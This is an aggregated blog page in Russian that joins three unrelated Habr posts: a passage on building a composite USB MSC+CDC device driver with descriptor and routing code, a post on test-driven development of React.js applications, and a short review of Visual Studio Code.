static const uint8_t USBD_MSC_CDC_CfgDesc[USB_MSC_CDC_CONFIG_DESC_SIZ] =
{
	0x09,         /* bLength: Configuation Descriptor size */
	USB_DESC_TYPE_CONFIGURATION, /* bDescriptorType: Configuration */
	USB_MSC_CDC_CONFIG_DESC_SIZ, /* wTotalLength: Bytes returned */
	0x00,
	0x03,         /*bNumInterfaces: 3 interface*/
	0x01,         /*bConfigurationValue: Configuration value*/
	0x02,         /*iConfiguration: Index of string descriptor describing the configuration*/
	0xC0,         /*bmAttributes: bus powered and Supports Remote Wakeup */
	0x32,         /*MaxPower 100 mA: this current is used for detecting Vbus*/
	/* 09 bytes */


Далее идет объявление интерфейса и конечных точек для MSC. Не знаю почему именно в таком порядке (сначала MSC потом CDC). Так было в одном из примеров, которые я нашел, оттуда и скопировал. По идее порядок интерфейсов не имеет значения. Главное, чтобы они возили все свои дополнительные дескрипторы рядом. Ну и приколы с нумерацией конечных точек также имеют значение.

Дескрипторы MSC
	/********************  Mass Storage interface ********************/
	0x09,   /* bLength: Interface Descriptor size */
	0x04,   /* bDescriptorType: */
	MSC_INTERFACE_IDX,   /* bInterfaceNumber: Number of Interface */
	0x00,   /* bAlternateSetting: Alternate setting */
	0x02,   /* bNumEndpoints*/
	0x08,   /* bInterfaceClass: MSC Class */
	0x06,   /* bInterfaceSubClass : SCSI transparent command set*/
	0x50,   /* nInterfaceProtocol */
	USBD_IDX_INTERFACE_STR,	/* iInterface: */
	/* 09 bytes */

	/********************  Mass Storage Endpoints ********************/
	0x07,   /*Endpoint descriptor length = 7*/
	0x05,   /*Endpoint descriptor type */
	MSC_IN_EP,   /*Endpoint address (IN, address 1) */
	0x02,   /*Bulk endpoint type */
	LOBYTE(USB_MAX_PACKET_SIZE),
	HIBYTE(USB_MAX_PACKET_SIZE),
	0x00,   /*Polling interval in milliseconds */
	/* 07 bytes */

	0x07,   /*Endpoint descriptor length = 7 */
	0x05,   /*Endpoint descriptor type */
	MSC_OUT_EP,   /*Endpoint address (OUT, address 1) */
	0x02,   /*Bulk endpoint type */
	LOBYTE(USB_MAX_PACKET_SIZE),
	HIBYTE(USB_MAX_PACKET_SIZE),
	0x00,     /*Polling interval in milliseconds*/
	/* 07 bytes */


Дескрипторы MSC ничем не отличаются от тех, что были в предыдущем разделе.

А вот дальше идет новый тип дескриптора — IAD (Interface Association Descriptor) – дескриптор ассоциации интерфейсов. Ассоциация тут не в смысле организации, а в смысле какой интерфейс с какой функцией ассоциировать.

Дескриптор ассоциации интерфейсов
      	/******** IAD should be positioned just before the CDC interfaces ******
                               	IAD to associate the two CDC interfaces */
        	
	0x08, /* bLength */
	0x0B, /* bDescriptorType */
	CDC_INTERFACE_IDX, /* bFirstInterface */
	0x02, /* bInterfaceCount */
	0x02, /* bFunctionClass */
	0x02, /* bFunctionSubClass */
	0x01, /* bFunctionProtocol */
	0x00, /* iFunction (Index of string descriptor describing this function) */
	/* 08 bytes */


Этот хитрый дескриптор говорит хосту что описание предыдущей функции USB устройства (MSC) закончилось и сейчас будет совсем другая функция. Причем тут же указано какая именно — CDC. Также указано количество связанных с ней интерфейсов и индекс первого из них.

IAD дескриптор не нужен для MSC, т.к. там всего один интерфейс. Но IAD нужен для CDC чтобы сгруппировать 2 интерфейса в одну функцию. Об этом сказано в спецификации этого дескриптора

Наконец дескрипторы CDC. Они полностью соответствуют дескрипторам для одиночной CDC функции с точностью до номеров интерфейсов и конечных точек

Дескрипторы CDC
	/********************  CDC interfaces ********************/

	/*Interface Descriptor */
	0x09,   /* bLength: Interface Descriptor size */
	USB_DESC_TYPE_INTERFACE,  /* bDescriptorType: Interface */
	/* Interface descriptor type */
	CDC_INTERFACE_IDX,   /* bInterfaceNumber: Number of Interface */
	0x00,   /* bAlternateSetting: Alternate setting */
	0x01,   /* bNumEndpoints: One endpoints used */
	0x02,   /* bInterfaceClass: Communication Interface Class */
	0x02,   /* bInterfaceSubClass: Abstract Control Model */
	0x01,   /* bInterfaceProtocol: Common AT commands */
	0x01,   /* iInterface: */
	/* 09 bytes */

	/*Header Functional Descriptor*/
	0x05,   /* bLength: Endpoint Descriptor size */
	0x24,   /* bDescriptorType: CS_INTERFACE */
	0x00,   /* bDescriptorSubtype: Header Func Desc */
	0x10,   /* bcdCDC: spec release number */
	0x01,
	/* 05 bytes */

	/*Call Management Functional Descriptor*/
	0x05,   /* bFunctionLength */
	0x24,   /* bDescriptorType: CS_INTERFACE */
	0x01,   /* bDescriptorSubtype: Call Management Func Desc */
	0x00,   /* bmCapabilities: D0+D1 */
	CDC_INTERFACE_IDX + 1,   /* bDataInterface: 2 */
	/* 05 bytes */

	/*ACM Functional Descriptor*/
	0x04,   /* bFunctionLength */
	0x24,   /* bDescriptorType: CS_INTERFACE */
	0x02,   /* bDescriptorSubtype: Abstract Control Management desc */
	0x02,   /* bmCapabilities */
	/* 04 bytes */

	/*Union Functional Descriptor*/
	0x05,   /* bFunctionLength */
	0x24,   /* bDescriptorType: CS_INTERFACE */
	0x06,   /* bDescriptorSubtype: Union func desc */
	CDC_INTERFACE_IDX,   /* bMasterInterface: Communication class interface */
	CDC_INTERFACE_IDX + 1,   /* bSlaveInterface0: Data Class Interface */
	/* 05 bytes */

	/*Endpoint 2 Descriptor*/
	0x07,                          /* bLength: Endpoint Descriptor size */
	USB_DESC_TYPE_ENDPOINT,        /* bDescriptorType: Endpoint */
	CDC_CMD_EP,                    /* bEndpointAddress */
	0x03,                          /* bmAttributes: Interrupt */
	LOBYTE(CDC_CMD_PACKET_SIZE),   /* wMaxPacketSize: */
	HIBYTE(CDC_CMD_PACKET_SIZE),
	0x10,                          /* bInterval: */
	/* 07 bytes */

	/*Data class interface descriptor*/
	0x09,   /* bLength: Endpoint Descriptor size */
	USB_DESC_TYPE_INTERFACE,       /* bDescriptorType: */
	CDC_INTERFACE_IDX + 1,         /* bInterfaceNumber: Number of Interface */
	0x00,                          /* bAlternateSetting: Alternate setting */
	0x02,                          /* bNumEndpoints: Two endpoints used */
	0x0A,                          /* bInterfaceClass: CDC */
	0x00,                          /* bInterfaceSubClass: */
	0x00,                          /* bInterfaceProtocol: */
	0x00,                          /* iInterface: */
	/* 09 bytes */

	/*Endpoint OUT Descriptor*/
	0x07,   /* bLength: Endpoint Descriptor size */
	USB_DESC_TYPE_ENDPOINT,        /* bDescriptorType: Endpoint */
	CDC_OUT_EP,                    /* bEndpointAddress */
	0x02,                          /* bmAttributes: Bulk */
	LOBYTE(CDC_DATA_PACKET_SIZE),  /* wMaxPacketSize: */
	HIBYTE(CDC_DATA_PACKET_SIZE),
	0x00,                          /* bInterval: ignore for Bulk transfer */
	/* 07 bytes */

	/*Endpoint IN Descriptor*/
	0x07,   /* bLength: Endpoint Descriptor size */
	USB_DESC_TYPE_ENDPOINT,        /* bDescriptorType: Endpoint */
	CDC_IN_EP,                     /* bEndpointAddress */
	0x02,                          /* bmAttributes: Bulk */
	LOBYTE(CDC_DATA_PACKET_SIZE),  /* wMaxPacketSize: */
	HIBYTE(CDC_DATA_PACKET_SIZE),
	0x00,                          /* bInterval */
	/* 07 bytes */


Когда все дескрипторы готовы можно посчитать суммарный размер конфигурации.
#define USB_CDC_CONFIG_DESC_SIZ       98

Перейдем к написанию кода. Ядро USB общается с драйверами классов используя вот такой интерфейс

Интерфейс драйвера класса
typedef struct _Device_cb
{
uint8_t  (*Init)             (struct _USBD_HandleTypeDef *pdev , uint8_t cfgidx);
uint8_t  (*DeInit)           (struct _USBD_HandleTypeDef *pdev , uint8_t cfgidx);
/* Control Endpoints*/
uint8_t  (*Setup)            (struct _USBD_HandleTypeDef *pdev , USBD_SetupReqTypedef  *req);
uint8_t  (*EP0_TxSent)       (struct _USBD_HandleTypeDef *pdev );   
uint8_t  (*EP0_RxReady)      (struct _USBD_HandleTypeDef *pdev );
/* Class Specific Endpoints*/
uint8_t  (*DataIn)           (struct _USBD_HandleTypeDef *pdev , uint8_t epnum);  
uint8_t  (*DataOut)          (struct _USBD_HandleTypeDef *pdev , uint8_t epnum);
uint8_t  (*SOF)              (struct _USBD_HandleTypeDef *pdev);
uint8_t  (*IsoINIncomplete)  (struct _USBD_HandleTypeDef *pdev , uint8_t epnum);
uint8_t  (*IsoOUTIncomplete) (struct _USBD_HandleTypeDef *pdev , uint8_t epnum);  
 
const uint8_t  *(*GetHSConfigDescriptor)(uint16_t *length);
const uint8_t  *(*GetFSConfigDescriptor)(uint16_t *length);
const uint8_t  *(*GetOtherSpeedConfigDescriptor)(uint16_t *length);
const uint8_t  *(*GetDeviceQualifierDescriptor)(uint16_t *length);
#if (USBD_SUPPORT_USER_STRING == 1)
uint8_t  *(*GetUsrStrDescriptor)(struct _USBD_HandleTypeDef *pdev ,uint8_t index,  uint16_t *length);  
#endif
} USBD_ClassTypeDef;


В зависимости от состояния или события на шине USB ядро вызывает соответствующую функцию.

Любую архитектурную проблему можно решить введением дополнительного абстрактного слоя… (С) еще один анекдот

Разумеется мы не будем реализовывать весь функционал целиком — за реализацию классов CDC и MSC будет отвечать существующий код. Мы лишь напишем прослойку, которая будет перенаправлять вызовы либо в одну, либо в другую реализацию.

Инициализация и деинициализация
/**
* @brief  USBD_MSC_CDC_Init
*         Initialize the MSC+CDC interface
* @param  pdev: device instance
* @param  cfgidx: Configuration index
* @retval status
*/
static uint8_t  USBD_MSC_CDC_Init (USBD_HandleTypeDef *pdev,
                                                                                            	  uint8_t cfgidx)
{
       	/* MSC initialization */
       	uint8_t ret = USBD_MSC_Init (pdev, cfgidx);
       	if(ret != USBD_OK)
               	return ret;
 
       	/* CDC initialization */
       	ret = USBD_CDC_Init (pdev, cfgidx);
       	if(ret != USBD_OK)
               	return ret;
 
       	return USBD_OK;
}
 
/**
* @brief  USBD_MSC_CDC_Init
*         DeInitialize the MSC+CDC layer
* @param  pdev: device instance
* @param  cfgidx: Configuration index
* @retval status
*/
static uint8_t  USBD_MSC_CDC_DeInit (USBD_HandleTypeDef *pdev,
                                                                                                        	uint8_t cfgidx)
{
       	/* MSC De-initialization */
       	USBD_MSC_DeInit(pdev, cfgidx);
 
       	/* CDC De-initialization */
       	USBD_CDC_DeInit(pdev, cfgidx);
 
       	return USBD_OK;
}


Тут все просто: инициализируем (деинициализируем) оба класса. Вызываемые функции сами займутся созданием/удалением своих конечных точек.

Пожалуй самой сложной функцией будет Setup.

Обработчик Setup
/**
 * @brief  USBD_MSC_CDC_Setup
 *         Handle the MSC+CDC specific requests
 * @param  pdev: instance
 * @param  req: usb requests
 * @retval status
 */
static uint8_t  USBD_MSC_CDC_Setup (USBD_HandleTypeDef *pdev, USBD_SetupReqTypedef *req)
{
	// Route requests to MSC interface or its endpoints to MSC class implementaion
	if(((req->bmRequest & USB_REQ_RECIPIENT_MASK) == USB_REQ_RECIPIENT_INTERFACE && req->wIndex == MSC_INTERFACE_IDX) ||
		((req->bmRequest & USB_REQ_RECIPIENT_MASK) == USB_REQ_RECIPIENT_ENDPOINT && ((req->wIndex & 0x7F) == MSC_EP_IDX)))
	{
		return USBD_MSC_Setup(pdev, req);
	}

	return USBD_CDC_Setup(pdev, req);
}


Это коллбек на один из стандартных запросов по шине USB, но этот запрос очень многогранный. Это может быть как получение данных (get), так и установка (Set). Это может быть запрос к устройству в целом, к одному из его интерфейсов или конечных точек. Также тут может приплыть как стандартный запрос, определенный базовой спецификацией USB, так и специфичный для определенного устройства или класса. Подробнее тут (Раздел “Пакет Setup”).

Из-за обилия разных случаев структура обработчика пакета Setup весьма сложна. Тут не получается написать один if или switch. В коде ядра USB обработка размазана по 3-4 большим функциям и в определенных случаях передается отдельному специализированному обработчику (коих там еще с десяток). Радует только то, что на уровень драйвера класса передается только незначительная часть запросов.

Я подсмотрел какие пакеты ходят через эту функцию и, похоже, можно ориентироваться по получателю. Если получатель пакета интерфейс — в поле wIndex будет номер интерфейса, если конечная точка, то в wIndex будет номер конечной точки. Исходя из этого перенаправляем запросы в соответствующий обработчик.

Кстати, чтобы это работало нужно не забыть поменять дефайн, определяющий количество интерфейсов, а то запрос просто не дойдет и срежется внутри ядра USB

#define USBD_MAX_NUM_INTERFACES 	3

Коллбеками DataIn и DataOut все проще. Там есть номер конечной точки — по ней и определим куда запрос перенаправлять

DataIn() и DataOut()
/**
 * @brief  USBD_MSC_CDC_DataIn
 *         handle data IN Stage
 * @param  pdev: device instance
 * @param  epnum: endpoint index
 * @retval status
 */
static uint8_t  USBD_MSC_CDC_DataIn (USBD_HandleTypeDef *pdev,
									 uint8_t epnum)
{
	if(epnum == MSC_EP_IDX)
		return USBD_MSC_DataIn(pdev, epnum);

	return USBD_CDC_DataIn(pdev, epnum);
}

/**
 * @brief  USBD_MSC_CDC_DataOut
 *         handle data OUT Stage
 * @param  pdev: device instance
 * @param  epnum: endpoint index
 * @retval status
 */
static uint8_t  USBD_MSC_CDC_DataOut (USBD_HandleTypeDef *pdev,
									  uint8_t epnum)
{
	if(epnum == MSC_EP_IDX)
		return USBD_MSC_DataOut(pdev, epnum);

	return USBD_CDC_DataOut(pdev, epnum);
}


Обратите внимание, что флаг направления передачи в номере конечной точки не используется. Т.е. даже если некоторые функции используют MSC_IN_EP (0x81), то в этой функции нужно использовать MSC_EP_IDX (0x01).

Иногда данные приходят в нулевую конечную точку и для этого есть специальный коллбек. Я не знаю что бы я делал, если бы оба класса (и CDC и MSC) имели обработчики на этот случай – в таком запросе не указан интерфейс или номер конечной точки. Было бы невозможно понять кому адресован запрос. Благо такой запрос умеет обрабатывать только класс CDC – вот ему и отправим

Обработчик EP0_RxReady
/**
  * @brief  USBD_MSC_CDC_EP0_RxReady
  *     	handle EP0 Rx Ready event
  * @param  pdev: device instance
  * @retval status
  */
static uint8_t  USBD_MSC_CDC_EP0_RxReady (USBD_HandleTypeDef *pdev)
{
    	return USBD_CDC_EP0_RxReady(pdev);
}


Больше у нас не будет нетривиальных обработчиков. Есть еще парочка геттеров для дескрипторов, но их код стандартный и не представляет интереса. Заполним «таблицу виртуальных функций»

Таблица указателей на функции
USBD_ClassTypeDef  USBD_MSC_CDC_ClassDriver =
{
    	USBD_MSC_CDC_Init,
    	USBD_MSC_CDC_DeInit,
    	USBD_MSC_CDC_Setup,
    	NULL, //USBD_MSC_CDC_EP0_TxReady,
    	USBD_MSC_CDC_EP0_RxReady,
    	USBD_MSC_CDC_DataIn,
    	USBD_MSC_CDC_DataOut,
    	NULL, //USBD_MSC_CDC_SOF,
    	NULL, //USBD_MSC_CDC_IsoINIncomplete,
    	NULL, //USBD_MSC_CDC_IsoOutIncomplete,
    	USBD_MSC_CDC_GetCfgDesc,
    	USBD_MSC_CDC_GetCfgDesc,
    	USBD_MSC_CDC_GetCfgDesc,
    	USBD_MSC_CDC_GetDeviceQualifierDesc,
};


Теперь код инициализации

Код инициализации
USBD_Init(&hUsbDeviceFS, &FS_Desc, 0);
USBD_RegisterClass(&hUsbDeviceFS, &USBD_MSC_CDC_ClassDriver);
USBD_CDC_RegisterInterface(&hUsbDeviceFS, &USBD_Interface_fops_FS);
USBD_MSC_RegisterStorage(&hUsbDeviceFS, &SdMscDriver);
USBD_Start(&hUsbDeviceFS);


Инициализируем USB ядро, устанавливаем ему наш драйвер класса и настраиваем вторичные интерфейсы. Все? Нет не все. В таком виде оно не запустится.

Дело вот в чем. Каждый класс имеет некоторое количество приватных данных – состояние драйвера, какие то переменные, которые должны быть доступны в разных функциях драйвера. Причем это не могут быть просто глобальные переменные – они привязаны к конкретному USB устройству (иначе невозможно было бы оперировать сразу с несколькими устройствами, если такое необходимо). Поэтому в хендле USB завели сразу несколько полей для такого случая

Поля с данными в хендле USB
/* USB Device handle structure */
typedef struct _USBD_HandleTypeDef
{
...
  void       	         *pClassData; 
  void                	*pUserData;
  void                	*pData; 
} USBD_HandleTypeDef;

Проблема в том, что каждый класс считает эти поля своей собственностью и цепляет туда свою структуру.

Решать это можно несколькими способами. Товарищи отсюда вообще затолкали в свою реализацию класса весь код из обоих драйверов (CDC и MSC) чтобы на ходу разбираться что к чему. Другой подход в том, что в эти поля класть структуры, в которых есть место для данных обоих классов. Тут частично использован этот подход,

Метки:  

TDD React.js приложений

Воскресенье, 06 Августа 2017 г. 23:37 + в цитатник
image

Hetzel edition of 20000 Lieues Sous les Mers



Заметка о том, насколько мы “реаниматоры” по части тестов (кто знаком с творчеством Говарда Филлипса Лавкрафта, тот поймет).

В продолжение темы тестирования и тестов, хотелось бы немного написать о нашем подходе, как он выглядит на наших Single Page Applications (SPA), написанных на React.js, как нам помогал в этом Test-Driven Development (TDD) и почему мы пришли к тому, что редукторы и API-сервисы покрывать тестами тоже нужно.

Сразу скажу, что если вы ожидаете тут увидеть jest, snapshot testing или storyshots, то сразу закрывайте эту заметку. Если вы ожидаете найти тут что-то из свежих библиотек или подходов, то тоже немедленно закрывайте. Ничего из названного мы не использовали. Возможно, в новый проект мы войдем с этими инструментами, а пока получилось так, как получилось.

К тому, как наши тесты выглядят сейчас, мы пришли сами, хотя многие из этих техник описаны на различных сайтах и форумах. Как дополнение, я приведу эти ссылки ниже.



Инструменты



image

У нас очень стандартный и, можно сказать, джентельменский набор инструментов.

Для запуска и описания (в стиле BDD) тестов мы используем библиотеку mocha. Заглушек и шпионов нам предоставляет sinon, функции-проверки мы используем из библиотеки chai, монтируем GUI-элементы при помощи enzyme. Для создания функциональных или end-to-end тестов мы используем protractor c jasmine framework.

К сожалению, у нас не было должного упора на pentests, единственное что мы использовали по этой части для поиска уязвимостей, это модуль nsp и nodesecurity.io. На клиенте, правда, мы ничего не обнаружили, а вот в модулях сервера кое-что нашли:

image

Также один из этапов тестирования — это проверка формата и стиля кода при помощи инструмента eslint.

Component-Driven Development через Test-Driven Development



В разработке и тестировании мы все еще придерживаемся знаменитого принципа test-first. И, как правило, у многих клиентских разработчиков возникает вопрос, как можно написать тесты, проверяющие HTML-структуру документа, когда этого документа еще не существует, когда ты еще совсем не представляешь, какие теги и стили в процессе разработки тебе придется использовать.

Современная разработка клиентского приложения базируется на понятии компонента. Любой макет дизайнера, в процессе декомпозиции, разбивается на составные и фундаментальные компоненты. Когда мы говорим про TDD на клиенте, мы подразумеваем компонентный уровень, нам не особо важно реализован ли этот GUI-элемент тэгом p или тэгом div, важно что он реализован. Т.е. не имея ещё реализации следующего составного компонента (страницы):

image

мы уже можем начать с теста, который бы проверял наличие данного компонента, как такового, а также его внутренний скелет:

image

Не стоит забывать, что тесты это тоже часть вашего приложения, и в этой части, не менее чем в других, важны принципы «Don’t Repeat Yourself» (DRY), «You ain’t gonna need it» (YAGNI), «Keep it simple, stupid» (KISS) и чистота кода.

Любой наш тестовый файл начинается с описания фабричного метода, который монтирует тестируемый компонент и вешает шпионов на возможные действия, которые может совершить пользователь, работая с данным компонентом. Чаще всего это относится конечно к компонентам, которые подписаны на изменение хранилища данных. Действия, условно, можно разделить на изменяющие состояние хранилища (они же в свою очередь делятся на персистентные и не персистентные) и переходы по страницам.

image

Фабричный метод для удобства возвращает смонтированный, при помощи библиотеки enzyme, компонент и функции-действия, которые подменены шпионами библиотеки sinon. Так как это составной компонент, который подписан на хранилище, мы применяем одну хитрость, чтобы не эмулировать хранилище в файле компонента мы экспортируем его двумя способами:

image

Первый для тестов, а второй, оборачивается компонентом высшего порядка (Higher-Order Component), непосредственно для подписи на изменения состояния хранилища.

А вот и первый “красный” тест

image

image

Теперь реализуем метод render у компонента, работаем по всем канонам красно-зеленого рефакторинга. После, запускаем тест снова:

image

Далее мы уже подробнее можем протестировать свойства вложенных компонентов, их текущее состояние и характеристики, зависящие от пробрасываемых значений из родительского тестируемого элемента (логические флаги, названия кнопок, тестовые данные):

image

Следующий шаг — это проверка действий. Это тоже можно сделать в стиле test-first. Мы предполагаем, что действие “Получить активные проекты” будет вызвано внутри методов жизненного цикла компонента при его монтировании. В тоже время, действие перехода вызывается при нажатии на кнопку. Т.е. нужно симулировать нажатие на кнопку. Эти предположения позволяют нам реализовать следующую пару тестов еще до начала реализации самой логики в компоненте. Еще одна хитрость — для действий мы используем отдельное импортируемое пространство имён, это делает чище секцию импортов в целевом компоненте и предоставляет удобство при тестировании для моков, заглушек и шпионов.

image

TDD в действии, так сказать. В том же ключе мы двигаемся дальше, пока полностью не реализуем данный компонент. С этим подходом мы разработали все наши компоненты, начиная от простых и фундаментальных, заканчивая составными и подписанными на хранилище.

“Мне кажется, что разрабатывать тесты мне нравится даже больше, чем писать непосредственно сам код приложения”
Андрей Антонюк, разработчик


И да, чуть не забыл упомянуть, чтобы не загромождать тесты кодом, мы выносим тестовые данные и тестовые структуры в отдельные файлы:

image

image

Функциональные тесты



Все выглядит так, как-будто мы достаточно исчерпывающим образом тестируем целевой компонент модульными и системными тестами. Однако монтирование компонента это искусственная среда (TestBed), к сожалению таким способом мы не имитируем реальный случай использования. Для такого рода эмуляции у нас есть функциональные тесты и, уже давно зарекомендовавший себя, protractor.

В проекте мы активно используем популярный шаблон PageObject. Работая со страницей как с объектом, предоставляющим нам методы доступа к ее элементам, мы по-прежнему можем продолжать работать в стиле test-first.

“Мне нравится шаблон PageObject, с ним тесты становятся чистыми, простыми и понятными” Дмитрий Сантоцкий, разработчик


image

На этапе написания тестов нам не надо фокусироваться на конкретных селекторах и HTML-структуре. Если мы тестируем заголовок, то мы просто вызываем метод getHeaderLabel. В таком ключе мы легко можем работать по TDD.

image

На стадии красно-зеленого рефакторинга, реализуя страницу, мы укажем конкретные селекторы:

image

Редукторы через Unit Testing



Тестировать имеет смысл все, что содержит в себе какую-то логику, какие-то условия. Редукторы, как правило, реализуются в виде чистых функций (pure function). Что может быть идеальнее для тестов? Никаких побочных эффектов или зависимостей, которые надо обрабатывать моками или заглушками, только входные и выходные данные. Грех не покрыть их тестами!

А если серьезно, то в редукторах у нас хоть и тривиальная, но достаточно важная логика. Мы меняем состояние и в этом случае отдельные части хранилища обязательно должны быть проверены. Кроме этого, мы довольно часто прямо в редукторах можем как-то обрабатывать массивы данных, писать какие-то условия. В этих местах люди частенько ошибаются. Так сказать, спотыкаются на ровном месте. Это не раз было замечено на наших проектах. Когда ты пишешь редуктор через тесты, ты, как минимум, два раза подумаешь, какие данные из пришедшего события он должен обработать и какое новое состояние примет хранилище, после такой обработки.

image

Одна из наших частых техник — это тесты при начальном состоянии хранилища (INIT_STATE) и при измененном (DIRTY_STATE). Первым, кто начал разделять тесты редукторов на “с начальным состояние” и “с измененным состоянием”, был наш разработчик Дима Полуян. По его мнению, тесты с измененным состоянием даже более полезны, чем с начальным.

image

API-сервисы и действия через Unit Testing



Тут тот же принцип, что и с редукторами. Вы несколько раз обдумаете, какой endpoint вам следует вызвать и как именно сформировать запрос на эту точку. В конце концов подход TDD подразумевает написание кода через тесты, а это значит, что ни сервисы ни редукторы не могут быть реализованы без написанных предварительно тестов.

image

Нужно передать много параметров, формирующих значение фильтра для поиска данных. Какой глагол HTTP вы для этого выберите? Обычно об этом думают, когда приступают к реализации конечной точки сервиса. При подходе test-first, вам придется подумать об этом во время реализации теста.

Конечно мы, как огромные лентяи, не сразу пришли к тому, что и сервисы стоит покрывать тестами. Все началось с ряда мелких ошибок. Некоторые endpoints вызывались в разных местах, но с различным параметром фильтра. Внутри сервисного метода была написана логика (условие), которая в зависимости от параметров формировала необходимое значение фильтра, либо посылала запрос без него. Спустя какое-то время, один из разработчиков добавил в сервисный метод значение параметра по умолчанию (default function parameters) для фильтра. Это сломало то место, где метод вызывался без параметров, данные приходили не те.

Этот случай послужил началом и призывом к тому, чтобы API-сервисы разрабатывать тоже через тесты.

Практически те же мотивы и для функций-действий. При чем для них тесты пишутся сразу же вместе с тестами для редуктора, они как бы неразрывны и идут в связке.

image

Учебные тесты



Еще один тип тестов, которые мы были вынуждены использовать — это учебные тесты. На одном из наших проектов сервер разрабатывала независимая команда Go-разработчиков. К сожалению, старт разработки серверной части был запланирован после старта клиентской части. Поначалу, мы разработали API-сервисы с макетными данными. Формат данных базировался на описании Go-разработчиков через чаты и документацию, которая поставлялась раньше, чем endpoints. С появлением какой-нибудь конечной точки, ее изучение (проверка и понимание формата) и интеграция с ней проходили через учебные тесты.

image

Так мы синхронизировались по знаниям с документацией и страховали себя на предмет ошибок не с нашей стороны. Go-разработчики не покрывали конечные точки сервисов интеграционными тестами, но это не была проблема, это сделали мы учебными тестами. В конечном итоге, даже перед поставкой собранной клиентской части, мы высылали PMO отчет о том, что все конечные точки сервисов стабильны и приложение в части интеграции будет работать так, как это ожидается. Можно сказать, что учебные тесты превратились для нас в проверку работоспособности (smoke test, sanity check)

image

->Подробнее об учебных тестах: Борьба с неизвестностью

Continuous Integration and Delivery



image

Наличие тестов в репозитории само по себе бесполезно, если они никак не автоматизированы и не задействованы в процессах CI/CD.

В нашем случае тесты прогоняются целых 3 раза.

Первый этап — это коммит разработчика, который он совершает со своей машины. При совершении этой операции, автоматически срабатывает git pre-commit hook, который прогоняет все тесты на локальной машине разработчика. В случае успеха, код попадает в gitlab и merge request отправляется на кодревью.

Если все ок, то ветка сливается в develop и тут запускается вторая прогонка тестов на удаленной машине, это, так называемый, gitlab runner, функционал которого нам предоставляет gitlab ci.

image

И последний этап — это релиз, прогонка тестов, которая инициируется инструментом Jenkins по окончанию каждого спринта, это часть процесса CD (раньше мы запускали сборку на Jenkins чаще и по расписанию)

Покрытие



Оно у нас есть, но я в него не верю. Мы используем модуль nyc, который под капотом все тот же Istanbul. Почему не верю? Потому что все инструменты измеряющие покрытие “глупые”. Они проверяют просто сам факт вызова в тестах той или иной функции (класса/метода), но этот подход в пух и прах разбивает, так называемый, калькуляторный пример.

Предположим, вам необходимо протестировать функцию математического деления. Написав один тест “2 / 2 = 1”, инструмент проверки покрытия тестами покажет после запуска значение 100%. Но так ли это? Вы видите 100% и это вроде как индикатор того, что работа сделана хорошо, однако можно ли просто подсчет вызовов считать хорошим покрытием кода тестами?

А как же “2 / 0”? Или “2 / null”? Или “NaN / undefined”?

***



Как-то все просто и складно. А где же какие-нибудь сложности?

Если по окончанию заметки именно эта мысль поселилась в вашей голове, то это значит, что мы достигли своей цели. А как вы тестируете ваши React.js приложния? Пишите на artur.basak.devingrodno@gmail.com

Ссылки



Инструменты:

http://chaijs.com
http://sinonjs.org
https://mochajs.org
http://airbnb.io/enzyme
http://eslint.org
https://nodesecurity.io
https://www.npmjs.com/package/nsp
https://www.npmjs.com/package/nyc
https://about.gitlab.com/features/gitlab-ci-cd
https://jenkins.io

React Testing:

https://facebook.github.io/react/docs/test-utils.html
https://github.com/reactjs/redux/blob/master/docs/recipes/WritingTests.md
https://facebook.github.io/react/blog/2014/09/24/testing-flux-applications.html

Другой мир:

https://facebook.github.io/jest
https://facebook.github.io/jest/docs/snapshot-testing.html
https://github.com/storybooks/storybook/tree/master/addons/storyshots
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335020/


[Из песочницы] Visual Studio Code как универсальный редактор кода

Воскресенье, 06 Августа 2017 г. 21:20 + в цитатник
Visual Studio Code (далее — VS Code) – сравнительно молодой редактор кода (первый выпуск – весна 2015 г.) с открытым исходным кодом, распространяемый бесплатно и способный составить реальную конкуренцию таким признанным лидерам отрасли как Sublime Text, Atom, Notepad++.
Ниже перечислены те особенности VS Code, которые меня заинтересовали и заставили попробовать в действии.

Кроссплатформенность


В отличие от своего «тяжеловесного» родственника Visual Studio, имеющего версию для Windows и недавно появившуюся версию для macOS, VS Code доступен для Windows, macOS и Linux. Работает в целом одинаково во всех трех операционных системах (лично проверено), установка опять же для всех систем простая и не требует особых навыков.

Большое количество расширений


Чтобы установить расширение в VS Code, перейдите во вкладку «Расширения» Панели действий и наберите название расширения или ключевые слова. Вероятность, что вы найдете то, что ищете, достаточно высока!



Например, здесь имеется поддержка C# от OmniSharp с подсветкой синтаксиса и технологией автодополнения IntelliSence. Только в отличие от Visual Studio для Windows, подсказки всплывают на английском, но если вы изучаете этот необходимый в программировании язык, это будет только плюсом.

Чтобы включить все возможности OmniSharp при написании кода на C#, не забудьте открыть в VS Code папку решения или проекта, а не отдельный файл с расширением «cs».

Корректно работает и плагин для языка Python с теми же автодополнением и подсветкой синтаксиса. Отличия от PyCharm — нет подсветки рекомендаций PEP8, что считаю минусом для начинающих питонистов. Например, отсутствие пробелов после запятых не влечет никаких подсказок системы:



Поддержка Vim


Для фанатов Vim тоже найдется решение: плагин VSCodeVim поддерживает команды этого замечательного текстового редактора.

Тут есть почти все, что используется vim-кодерами: dd, yyp, daw, gg, G, zz и многое, многое другое.

Но… в бочке меда оказалась ложка дегтя — режим командной строки реализован не в полной мере: сохранить изменения в файле с помощью :w у вас получится, однако работать со строками с помощью :t, :m — уже нет.

Справедливости ради стоит заметить, что плагин VSCodeVim не единственный в своем роде и желающие могут поискать другие расширения.

Поддержка тем


По умолчанию в VS Code установлена приятная для глаз тема «default dark», которую вы могли видеть выше, но есть и другие, поинтереснее, например, вот эта:



Эта тема называется «Afterglow», а ниже — «Atom One Dark», как видно из названия, пришедшая из редактора «Atom»:



Одна из нескольких «Аврор» тоже радует глаз:



А вот Monokai, одна из популярных и лучших, на мой взгляд, тем в VS Code выглядит чересчур контрастно и «режет глаза».

Поддержка HTML/CSS и плагин «Emmet»


В VS Code вы можете смело делать те же самые вещи, что и раньше делали на Sublime Text.
Допустим, надо написать

border: 1px solid #000;

Пожалуйста, набираете, как раньше, bd+, нажимаете Tab и, вуаля!

Или вы хотите быстро присвоить класс тегу «div».


Нет проблем, и здесь VS Code вас поймет, если вы наберете: .my-header и нажмете Tab.
Есть в VS Code и AutoFileName, и визуализация цветов — работать удобно и приятно.



Полагаю, что в ближайшее время VS Code составит реальную конкуренцию завоевавшим популярность «звездам», а возможно, и потеснит кого-либо их них.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335014/


Метки:  

